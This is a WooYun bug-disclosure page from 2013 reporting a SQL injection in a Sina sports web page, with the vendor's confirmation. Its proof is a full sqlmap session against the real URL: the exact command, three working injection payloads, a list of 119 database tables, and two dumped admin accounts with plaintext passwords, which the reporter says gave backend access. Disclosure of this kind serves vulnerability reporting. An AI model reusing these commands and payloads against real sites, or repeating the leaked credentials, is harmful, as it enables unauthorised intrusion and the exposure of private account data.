当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-026520

漏洞标题:新浪的一个Sql注射已进入后台

相关厂商:新浪

漏洞作者: Croxy

提交时间:2013-06-24 17:20

修复时间:2013-08-08 17:21

公开时间:2013-08-08 17:21

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-24: 细节已通知厂商并且等待厂商处理中
2013-06-24: 厂商已经确认,细节仅向厂商公开
2013-07-04: 细节向核心白帽子及相关领域专家公开
2013-07-14: 细节向普通白帽子公开
2013-07-24: 细节向实习白帽子公开
2013-08-08: 细节向公众公开

简要描述:

SQL注入

详细说明:

http://others.sports.sina.com.cn/cva/paper.php?id=264
存在注入

漏洞证明:

QQ图片20130621200256.jpg


root@kali:~# sqlmap -u "http://others.sports.sina.com.cn/cva/paper.php?id=264" --dump -C "Manager,PassWord" -T "cva_manager" -D "otherssports"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:10:41
[18:10:41] [INFO] resuming back-end DBMS 'mysql'
[18:10:41] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=264') AND 5215=5215 AND ('eOJb'='eOJb
Type: UNION query
Title: MySQL UNION query (NULL) - 36 columns
Payload: id=-7030') UNION ALL SELECT CONCAT(0x3a786c763a,0x424f4778474d484c6157,0x3a63707a3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=264') AND SLEEP(5) AND ('grRQ'='grRQ
---
[18:10:42] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[18:10:42] [INFO] fetching columns 'Manager, PassWord' for table 'cva_manager' in database 'otherssports'
[18:10:42] [INFO] the SQL query used returns 2 entries
[18:10:42] [INFO] retrieved: "Manager","varchar(20)"
[18:10:42] [INFO] retrieved: "PassWord","varchar(20)"
[18:10:42] [INFO] fetching entries of column(s) 'Manager, PassWord' for table 'cva_manager' in database 'otherssports'
[18:10:42] [INFO] the SQL query used returns 2 entries
[18:10:42] [INFO] retrieved: "cva","fgrtert$4b345b"
[18:10:43] [INFO] retrieved: "cvadmin","fdgest34534sdftt54dg"
[18:10:43] [INFO] analyzing table dump for possible password hashes
Database: otherssports
Table: cva_manager
[2 entries]
+---------+----------------------+
| Manager | PassWord |
+---------+----------------------+
| cva | fgrtert$4b345b |
| cvadmin | fdgest34534sdftt54dg |
+---------+----------------------+


web application technology: Apache
back-end DBMS: MySQL 5.0.11
[18:06:26] [INFO] fetching tables for database: 'otherssports'
[18:06:26] [INFO] the SQL query used returns 119 entries
Database: otherssports
[119 tables]
+------------------------------+
| admins |
| admins1 |
| cba_double |
| cba_member |
| cba_member_info |
| cba_result |
| cba_result_data |
| cba_result_team |
| chels_fixture |
| chels_mail |
| chels_news |
| chels_picture |
| chels_player |
| chels_player_club |
| chels_player_season |
| chels_score |
| chels_user |
| chels_word |
| countrystatisticmedal |
| cva_area |
| cva_groups |
| cva_league |
| cva_manager |
| cva_match |
| cva_match_0809 |
| cva_match_0910 |
| cva_match_bak |
| cva_member |
| cva_member_0809 |
| cva_member_0910 |
| cva_member_bak |
| cva_para |
| cva_result |
| cva_result_0809 |
| cva_result_0910 |
| cva_result_bak |
| cva_team |
| cva_team_0809 |
| cva_team_0910 |
| cva_team_bak |
| doha_country |
| doha_member |
| doha_result |
| doha_sports |
| dpool_check_db |
| fivb_chinese |
| fivb_match |
| fivb_playerorder |
| fivb_playerorder_1 |
| fivb_rank |
| football_news |
| goaltv_login |
| guess_answer |
| guess_news |
| guess_question |
| guess_title |
| guess_user |
| guess_user_ans |
| head_2_head |
| head_player |
| historymedal |
| historymedal_bak |
| historymedal_copy |
| historymedalteam |
| iaaf_match |
| iaaf_record |
| iaaf_result |
| inter_allscore |
| inter_chinese |
| inter_match |
| inter_news |
| inter_pic |
| inter_player |
| inter_playerinfo |
| inter_user |
| ittf_live |
| ittf_player |
| key_channel |
| key_record |
| key_word_url |
| live_photo |
| live_sports |
| match |
| match_score |
| match_team |
| match_type |
| mix_children_record |
| mix_children_user |
| personstatisticmedal |
| rank_atp |
| rank_atp_d |
| rank_atp_date |
| rank_atp_prize |
| rank_bmf |
| rank_bmf_d |
| rank_bmf_date |
| rank_cttsl |
| rank_fifa |
| rank_golf |
| rank_ittf |
| rank_link |
| rank_word |
| rank_wta |
| rank_wta_d |
| rank_wta_date |
| rank_wta_prize |
| record_swimming |
| record_swimming_bak_20110106 |
| reporter_user |
| shidefc_user |
| team_player |
| tennis_live |
| tennis_match |
| tennis_news |
| tennis_player |
| tennis_schedual |
| tennis_user |
| tennis_user_match |
| tennis_user_player |
+------------------------------+


测试可以成功进入后台

4.jpg


修复方案:

过滤
PS:求一个Sina的大眼睛啊 有木有~

版权声明:转载请注明来源 Croxy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-06-24 17:28

厂商回复:

感谢关注新浪安全,已安排人员进行修复。

最新状态:

暂无